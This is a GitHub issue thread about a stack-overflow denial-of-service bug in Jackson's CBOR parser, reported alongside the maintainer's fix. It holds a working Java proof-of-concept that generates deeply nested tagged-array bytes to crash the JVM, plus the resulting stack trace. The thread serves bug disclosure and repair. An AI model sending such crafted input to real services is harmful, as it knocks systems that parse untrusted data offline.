FasterXML / jackson-dataformats-binary

Uber-project for standard Jackson binary format backends: avro, cbor, ion, protobuf, smile
Apache License 2.0
316 stars 136 forks source link

Internal parsing of tagged arrays can lead to stack overflow #185

Closed padolph closed 5 years ago

padolph commented 5 years ago

It is very easy to craft CBOR tagged array data that causes a java.lang.StackOverflowError. Because the CBOR implementation of JsonParser.nextToken() recurses internally when it encounters tagged array data, there is very little the application programmer can do to protect against this exception. Suggest rethinking the recursive approach, or at least capping the max recursion depth.

For CBOR parsers that process untrusted data, this creates a serious DOS vulnerability. Most likely any CBOR parser implemented using Jackson is vulnerable to this problem.

Here is code that generates (nonsensical) CBOR data that crashes the JVM with a StackOverflowError. I am currently using jackson-dataformat-cbor-2.9.9

import java.io.*;

import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.dataformat.cbor.CBORConstants;
import com.fasterxml.jackson.dataformat.cbor.CBORFactory;
import com.fasterxml.jackson.dataformat.cbor.CBORParser;

public class CBORRecurse {
   public static void main(String[] args) {
       for (int i = 100; i < 1024 * 1024; i = i * 10) {
           _testRecurse(i);
       }
   }
   private static void _testRecurse(int levels)
   {
       System.out.println("Trying " + String.valueOf(levels));
       byte[] data = new byte[levels * 2];
       for (int i = 0; i < levels; i++) {
           data[i * 2] = (byte)(CBORConstants.PREFIX_TYPE_TAG +
                   CBORConstants.TAG_DECIMAL_FRACTION);
           data[(i * 2) + 1] = (byte)(CBORConstants.PREFIX_TYPE_ARRAY +
                   2);
       }

       CBORFactory f = new CBORFactory();
       JsonParser p;
       try {
           p = f.createParser(data);
       } catch (IOException e) {
           System.err.println("Caught IOException while creating parser: " + e.getMessage());
           return;
       }
       try {
           if (p.nextToken() == JsonToken.START_ARRAY) {
               System.out.println("Saw array");
           } else {
               System.out.println("Saw something else");
           }
       } catch (JsonParseException e) {
           System.err.println("Caught JsonParseException: " + e.getMessage());
       } catch (IOException e) {
           System.err.println("Caught IOException: " + e.getMessage());
       } catch (OutOfMemoryError e) {
           System.err.println("Caught OutOfMemoryError: " + e.getMessage());
       }
       try {
           p.close();
       } catch (IOException e) {
           // Do nothing.
       }
   }
}

This program will try many values of array recursion depth until the JVM crashes. On my laptop this happens around 'level' 10000.

Trying 10000
Exception in thread "main" java.lang.StackOverflowError
    at com.fasterxml.jackson.dataformat.cbor.CBORParser._handleTaggedArray(CBORParser.java:859)
    at com.fasterxml.jackson.dataformat.cbor.CBORParser.nextToken(CBORParser.java:732)
    at com.fasterxml.jackson.dataformat.cbor.CBORParser._handleTaggedArray(CBORParser.java:872)
    at com.fasterxml.jackson.dataformat.cbor.CBORParser.nextToken(CBORParser.java:732)
    ...
cowtowncoder commented 5 years ago

Yes, I can see how this could be problematic. JSON parser had a similar potential case for sub-tree copying fixed recently.

I'll have to think of a good way to handle this: simple depth counter could work, given that tags shouldn't really need to nest deeply. Or perhaps changing handling to use iteration & stack instead.

Thank you for reporting this issue.

cowtowncoder commented 5 years ago

Looked at possible solution and I think I know how to handle this as there is only one codepath (special tag handling for another use case does not use recursive calls).

padolph commented 5 years ago

Great news! Yes that was my observation too, only one code path was involved. Thanks for taking this on.

cowtowncoder commented 5 years ago

@padolph thank you for reporting it! One of those things that are obvious in hindsight, but not before :) I will get this in 2.10.1, it's the next thing for me to work on.

cowtowncoder commented 5 years ago

Ok so end result is bit messy, due to necessary nesting (BigDecimal being sometimes encoded with BigInteger encoded as tagged binary chunk....); may become actual problem if more tags are to be recognized. But should work for now, we'll see how things go.